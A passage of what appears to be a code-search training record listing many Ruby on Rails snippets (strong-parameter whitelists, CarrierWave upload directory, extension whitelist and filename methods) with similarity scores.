params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def params; end", "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "def permitted_params\n @wfd_edit_parameters\n end", "def user_params\r\n end", "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def params_permit\n params.permit(:id)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def argument_params\n params.require(:argument).permit(:name)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def parameters\n nil\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end" ]
[ "0.7121987", "0.70541996", "0.69483954", "0.6902367", "0.6733912", "0.6717838", "0.6687021", "0.6676254", "0.66612333", "0.6555296", "0.6527056", "0.6456324", "0.6450841", "0.6450127", "0.6447226", "0.6434961", "0.64121825", "0.64121825", "0.63913447", "0.63804525", "0.63804525", "0.6373396", "0.6360051", "0.6355191", "0.62856233", "0.627813", "0.62451434", "0.6228103", "0.6224965", "0.6222941", "0.6210244", "0.62077755", "0.61762565", "0.61711127", "0.6168448", "0.6160164", "0.61446255", "0.6134175", "0.6120522", "0.6106709", "0.60981655", "0.6076113", "0.60534036", "0.60410434", "0.6034582", "0.6029977", "0.6019861", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.6019158", "0.60184896", "0.60157263", "0.6005857", "0.6003803", "0.60012573", "0.59955895", "0.5994598", "0.5993604", "0.5983824", "0.5983166", "0.5977431", "0.597591", "0.5968824", "0.5965953", "0.59647584", "0.59647584", "0.59566855", "0.59506303", "0.5950375", "0.59485626", "0.59440875", "0.5930872", "0.5930206", "0.5925668", "0.59235454", "0.5917905", "0.59164816", "0.5913821", "0.59128743", "0.5906617", "0.59053683", "0.59052664", "0.5901591", "0.58987755", "0.5897456", "0.58970183", "0.58942604" ]
0.0
-1
Override the directory where uploaded files will be stored. This is a sensible default for uploaders that are meant to be mounted:
def store_dir "uploads/#{model.class.to_s.underscore}/#{model.id}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def store_dir\n 'file_uploads'\n end", "def store_dir\n 'uploads'\n end", "def store_dir\n \"uploads\"\n end", "def store_dir\n if Rails.env == \"production\"\n ENV['CONFIG_FILE_UPLOAD_PATH']\n else\n \"uploads\"\n end\n end", "def store_dir\n '%suploads/peoplefinder/%s/%s/%s' % [\n base_upload_dir,\n model.class.to_s.underscore,\n mounted_as_without_legacy_prefix,\n model.id\n ]\n end", "def store_dir\n configured_upload_path + \"#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n base_dir = ENV.fetch('FILE_STORE_DIR', \"uploads\")\n if base_dir != \"uploads\"\n public_uploads = File.join(Rails.root, \"public\", \"uploads\")\n FileUtils.symlink(base_dir, public_uploads) unless File.symlink?(public_uploads)\n base_dir = public_uploads\n end\n \"#{base_dir}/#{Rails.env}/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/\"\n end", "def store_dir\n \"uploads/\"\n end", "def store_dir\n \"uploads/\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.attachable_type}/#{model.attachable_id}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n format(\n '%suploads/peoplefinder/%s/%s/%s',\n base_upload_dir,\n model.class.to_s.underscore,\n mounted_as_without_legacy_prefix,\n model.id\n )\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{partition_dir(model.id)}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\" \n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}_#{mounted_as.to_s.pluralize}\"\n end", "def store_dir\r\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\r\n end", "def store_dir\r\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\r\n end", "def store_dir\n \"#{Rails.root}/public/uploads/\"\n end", "def store_dir\n\t\t\"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n\tend", "def store_dir\n \"#{Rails.root}/tmp/upload/\"\n end", "def store_dir\n \"uploads/#{Rails.env}/#{model.class.to_s.underscore}/#{mounted_as}/#{model.uid}\"\n end", "def store_dir\n \"system/uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"system/uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{model.attachable_id}\"\n end", "def store_dir\n # \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n # This works for the file storage as well as Amazon S3 and Rackspace Cloud Files.\n # Define store_dir as nil if you'd like to store files at the root level.\n nil\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end", "def store_dir\n \"uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}\"\n end" ]
[ "0.78669196", "0.76282656", "0.7622718", "0.7618806", "0.7575838", "0.7489612", "0.74863446", "0.7454662", "0.7454662", "0.7454662", "0.7400173", "0.7400173", "0.7400173", "0.7400173", "0.7400173", "0.73844165", "0.73647976", "0.7358027", "0.735749", "0.7348965", "0.7341311", "0.73393106", "0.7337852", "0.7337852", "0.7335642", "0.73314023", "0.73144853", "0.7303504", "0.7285929", "0.7285929", "0.7284283", "0.72773206", "0.72770166", "0.7272754", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274", "0.7272274" ]
0.0
-1
Allow image file extensions
def extension_white_list %w(jpg jpeg gif png) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def extension_whitelist\n %w[jpg jpeg png]\n end", "def extension_whitelist\n %w[jpg jpeg gif png]\n end", "def extension_whitelist\n %w[jpg jpeg gif png]\n end", "def extension_whitelist\n %w[jpg jpeg gif png]\n end", "def extension_whitelist\n %w(jpg jpeg png)\n end", "def extension_whitelist\n %w(jpg jpeg png)\n end", "def extension_whitelist\n %w(jpg jpeg png)\n end", "def extension_whitelist\n %w(jpg jpeg gif png)\n end", "def extension_whitelist\n %w(jpg jpeg gif png)\n end", "def extension_whitelist\n %w(jpg jpeg gif png)\n end", "def extension_whitelist\n %w(jpg jpeg gif png)\n end", "def extension_whitelist\n %w(jpg jpeg gif png)\n end", "def extension_whitelist\n %w(jpg jpeg gif png)\n end", "def extension_whitelist\n %w(jpg jpeg gif png)\n end", "def extension_whitelist\n %w(jpg jpeg gif png)\n end", "def extension_whitelist\n %w(jpg jpeg gif png)\n end", "def extension_whitelist\n %w(jpg jpeg gif png)\n end", "def extension_whitelist\n %w(jpg jpeg gif png)\n end", "def extension_whitelist\n %w(jpg jpeg gif png)\n end", "def extension_whitelist\n %w(jpg jpeg gif png)\n end", "def extension_allowlist\n %w(jpg jpeg png)\n end", "def extension_whitelist\n %w(jpg jpeg gif png)\n end", "def extension_whitelist\n %w[png jpg jpeg]\n end", "def extension_whitelist\n %w[png jpg jpeg]\n end", "def extension_whitelist\n %w(jpg jpeg gif png pdf)\n end", "def allow_only_images\n unless file.content_type =~ %r{^(image|(x-)?application)/(x-png|pjpeg|jpeg|jpg|gif|png|tif|raw|bmp|svg|)$}\n false\n end\n end", "def extensions_white_list\n %w(jpg jpeg gif png)\n end", "def extension_white_list\n %w(jpg jpeg)\n end", "def extension_white_list\n %w(jpg jpeg png)\n end", "def extension_white_list\n %w(jpg jpeg png)\n end", "def extension_white_list\n %w(jpg jpeg png)\n end", "def extension_white_list\n %w(jpg jpeg png)\n end", "def extension_white_list\n %w(jpg jpeg png)\n end", "def extension_white_list\n %w(jpg jpeg png)\n end", "def extension_white_list\n %w(jpg jpeg png)\n end", "def extension_white_list\n %w(jpg jpeg gif png)\n end", "def extension_white_list\n Redactor3Rails.images_file_types\n end", "def extension_white_list\n %w[ jpg jpeg gif png ]\n end", "def extension_white_list\n %w(jpg jpeg gif png)\n end", "def extension_whitelist\n %w(jpg jpeg gif png tif tiff avi m4v mov mp4 mpg mpeg mpeg wmv qt)\n end", "def extension_white_list\r\n %w(jpg jpeg png)\r\n end", "def extension_white_list\n %w(jpg jpeg gif png)\nend", "def extension_white_list\n %w(jpg jpeg gif png)\nend", "def extension_white_list\n %w(jpg jpeg gif png)\n end", "def extension_white_list\n %w(jpg jpeg gif png)\n end", "def extension_white_list\n %w(jpg jpeg gif png)\n end", "def extension_white_list\n %w(jpg jpeg gif png)\n end", "def extension_white_list\n %w(jpg jpeg gif png)\n end" ]
[ "0.796211", "0.79483515", "0.79483515", "0.79483515", "0.7898088", "0.7898088", "0.7898088", "0.78753823", "0.78753823", "0.78753823", "0.78753823", "0.78753823", "0.78753823", "0.78753823", "0.78753823", "0.78753823", "0.78753823", "0.78753823", "0.78753823", "0.78753823", "0.78666586", "0.7846588", "0.7800771", "0.7800771", "0.7760628", "0.7660325", "0.748711", "0.7475962", "0.744872", "0.744872", "0.744872", "0.744872", "0.744872", "0.7423815", "0.7423815", "0.7421765", "0.7384525", "0.7381942", "0.7381326", "0.737992", "0.73758733", "0.73657984", "0.73657984", "0.73630005", "0.73617744", "0.73617744", "0.73617744", "0.73557913" ]
0.74029404
84
Override the filename of the uploaded files:
def filename "wallpaper.#{file.extension}" if file end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def filename\n if super.present?\n @name ||=\"#{SecureRandom.hex}.#{file.extension.downcase}\" if original_filename\n Rails.logger.debug(\"(BaseUploader.filename) #{@name}\")\n @name\n end\n end", "def file_name\n uploaded_file_file_name\n end", "def original_filename\n fake_file_name || super\n end", "def set_file_name\n update(name: (file.filename rescue \"Untitled File\"))\n end", "def set_file_name\n update(name: (file.filename rescue \"Untitled File\"))\n end", "def filename\n \"#{original_filename_without_extension.parameterize}_#{model.filename_token}#{original_extension}\" if original_filename\n end", "def filename\n if super.present?\n # current_path 是 Carrierwave 上传过程临时创建的一个文件,有时间标记,所以它将是唯一的\n @name ||= Digest::MD5.hexdigest(File.dirname(current_path))\n \"#{@name}.#{ext}\"\n end\n end", "def filename\n @filename = \"#{secure_token}_#{split_extension(original_filename)}.#{file.extension}\" if original_filename.present?\n end", "def filename\n if original_filename\n \"#{model.name.parameterize}-#{secure_token(8)}.#{file.extension}\"\n end\n end", "def filename\n original_filename\n end", "def full_filename( for_file )\n super.downcase\n # super.chomp( File.extname( super ) ) + '.jpg'\n end", "def filename\n \"#{model.name.parameterize}.#{file.extension}\" if original_filename.present?\n end", "def filename\n if original_filename\n # This is pretty gross. We only want to reuse the existing filename if\n # a new avatar isn't being uploaded, we look at the *_change attribute to\n # determine if that happened.\n if model && model.read_attribute(mounted_as).present? && !model.send(:\"#{mounted_as}_change\")\n model.read_attribute(mounted_as)\n else\n # new filename\n @name ||= \"#{timestamp}.#{model.send(mounted_as).file.extension}\" if original_filename\n end\n end\n end", "def filename\n @name ||= \"#{timestamp}-#{secure_token(8)}.#{file.extension}\" if original_filename.present?\n end", "def filename\n \"#{secure_token(10)+File.extname(original_filename)}\" if original_filename.present?\n end", "def filename\n \"#{original_filename}+#{secure_token}.#{file.extension}\" if original_filename.present?\n end", "def file_name=(value)\n @file_name = value\n end", "def file_name=(value)\n @file_name = value\n end", "def filename\n if super.present?\n @name ||= Digest::MD5.hexdigest(File.dirname(current_path))\n \"#{@name}#{File.extname(original_filename).downcase}\"\n end\n end", "def filename\n if super.present?\n @name ||= Digest::MD5.hexdigest(File.dirname(current_path))\n \"#{@name}#{File.extname(original_filename).downcase}\"\n end\n end", "def file_name\n \"#{@file_name}.#{extension}\"\n end", "def filename\n \"#{mounted_as}1.#{model.image.file.extension}\" if original_filename\n end", "def filename\n @name ||= \"#{md5}.#{file.extension}\" if original_filename.present?\n end", "def original_file_name\n object.original_file_name.nil? ? \"\" : object.original_file_name\n end", "def original_file_name\n object.original_file_name.nil? ? \"\" : object.original_file_name\n end", "def original_filename; end", "def filename\n @original_filename\n end", "def filename\n \"#{secure_token(10)}.#{file.extension}\" if original_filename.present?\n end", "def filename\n if original_filename.present?\n \"#{model.story.slug}-#{secure_token}.#{file.extension}\"\n end\n end", "def filename\n super\n end", "def filename\n if original_filename\n md5 = Digest::MD5.hexdigest(\"#{model.imagenable.friendly_id}_#{Time.now}\")\n \"#{md5}.#{file.extension}\"\n end\n end", "def filename\n if original_filename\n var = :\"@#{mounted_as}_unique_file_name\"\n model.instance_variable_get(var) or model.instance_variable_set(var, unique_file_name)\n end\n end", "def filename\n sanitize(original_filename) if original_filename\n end", "def default_file_name\n ''\n end", "def filename\n \"#{resize_prefix}_#{original_filename}\"\n end", "def generate_file_name\n file_name = attachment.instance_read(:file_name).slugged_filename\n attachment.instance_write :file_name, file_name\n end", "def set_filename_from_parent\n components = parent.filename.split('.')\n if components.size > 1\n ext = components.last\n name = components[0, components.size - 1].join('.')\n else\n ext = 'mp3'\n name = parent.filename\n end\n name = Digest::SHA1.hexdigest(\"KroogiFileDownload-#{id}-#{name}\")\n \n self.filename = \"#{name}.#{ext}\"\n end", "def file_name\n self.file_file_name\n end", "def filename\n \"#{secure_token}.#{file.extension}\" if original_filename\n end", "def original_filename\n @file_representation.original_filename\n end", "def filename\n @name ||= \"#{model.firstname.parameterize}-#{model.lastname.parameterize}.#{model.image.file.extension}\"\n end", "def original_filename\n @file_representation[:filename]\n end", "def filename_for_image_upload\n random_token = Digest::SHA2.hexdigest(\"#{Time.now.utc}--#{current_user.id.to_s}\").first(15)\n \"temp_upload_#{random_token}\"\n end", "def filename_for_image_upload\n random_token = Digest::SHA2.hexdigest(\"#{Time.now.utc}--#{current_user.id.to_s}\").first(15)\n \"temp_upload_#{random_token}\"\n end", "def filename\n \"application_#{model.hash}.#{file.extension}\" if original_filename.present?\n end", "def filename\n \"#{secure_token}.#{file.extension}\" if original_filename.present?\n end", "def filename\n \"#{secure_token}.#{file.extension}\" if original_filename.present?\n end", "def filename\n \"#{secure_token}.#{file.extension}\" if original_filename.present?\n end", "def filename\n if original_filename\n if model && model.read_attribute(mounted_as).present?\n model.read_attribute(mounted_as)\n else\n @name ||= \"#{mounted_as}-#{uuid}.#{file.extension}\"\n end\n end\n end", "def filename\n \"#{model.original_name}\"\n end", "def original_filename\n @original_filename ||= path.basename.to_s\n end", "def filename\n \"#{folder_id}#{File.extname(super)}\"\n end", "def set_name\n self.name = self.asset.original_filename\n end", "def filename\n \"#{secure_token}.#{file.extension}\" if original_filename.present? \n end", "def filename= name\n #This is a stub, used for indexing\n end", "def filename(name)\n @filename = name.downcase.strip.gsub(' ', '-')\n end", "def filename\n \"#{options.filename}.#{options.filetype}\"\n end", "def filename\n puts model.name\n puts original_filename\n model.name + File.extname(original_filename)\n end", "def filename(record, file)\n original = \"#{file.basename}.#{file.extension}\"\n write_attribute(:original_filename, original)\n ext = file.suffix.nil? || file.suffix == :original ? file.extension : file.suffix\n \"#{application_for_offering.id.to_s}-#{title.gsub(/[\\s,\\.\\\\\\/\\*\\?\\%\\:\\|\\\"\\'\\<\\>]?/,'')}.#{ext}\"\n end", "def filename\n @file.basename.to_s\n end", "def filename\n if super.present?\n \"#{secure_token}.#{file.extension}\"\n end\n end", "def file_name\n \"#{Time.current.to_i}-#{@file.original_filename}\"\n end", "def file_name\n @file_name\n end", "def filename=(value)\n @old_filename = full_filename unless filename.nil? or @old_filename\n write_attribute :filename, sanitize_filename(value)\n end", "def processed_original_filename\n processed_filename original_filename_without_extension, original_filename_extension\n end", "def filename\n if original_filename.present? && model.photoable.present?\n \"#{model.photoable.display_name.parameterize}-#{secure_token}.#{file.extension}\"\n elsif original_filename.present? && model.photoable.blank?\n \"mydiscoveries-#{secure_token}.#{file.extension}\"\n end\n end", "def image_file_name= value\n super if value.present?\n end", "def filename\n DateTime.now.strftime('%Q') + Digest::MD5.hexdigest(original_filename) + original_filename if original_filename\n end", "def original_filename\n File.basename(@file_path)\n end", "def original_filename\n instance_read(:file_name)\n end", "def filename(upload = file)\n @@_filename ||= lambda {\n if upload.present?\n current_filename = upload.filename.match(/(.+)\\.csv$/).captures.first\n \"#{model.uuid}-#{current_filename}.csv\"\n end\n }.call\n end", "def original_filename\n metadata[\"filename\"]\n end", "def original_filename\n File.basename(self.path)\n end", "def original_filename\n File.basename(self.path)\n end", "def original_filename\n File.basename(self.path)\n end", "def filename\n @name ||= ActiveSupport::SecureRandom.hex\n\t\"#{@name}#{File.extname(original_filename).downcase}\" if original_filename\n end", "def filename=(name)\n @filename = File.basename(name)\n end", "def filename=(value)\n @old_filename = filename unless filename.nil? || @old_filename\n write_attribute :filename, sanitize_filename(value)\n end", "def filename\n unless @filename\n @filename = @path.basename.to_s\n end\n\n @filename\n end", "def filename\n model.respond_to?(:filename) ? model.filename : super\n end", "def filename\n filename = (model.name + '_' + model.artist.name + '_' + model.release.name).downcase.gsub(/\\s/, '-')\n \"#{filename}\" if original_filename \n end", "def default_file_name\n \"#{klass_name.underscore}_#{id}\"\n end", "def file name\n \n end", "def original_filename\n @original_filename ||= File.basename(path)\n end", "def file_name\n name.underscore\n end", "def file_name\n potential_name = params[:filename] || file.original_name || (asset.respond_to?(:label) && asset.label) || file.id\n 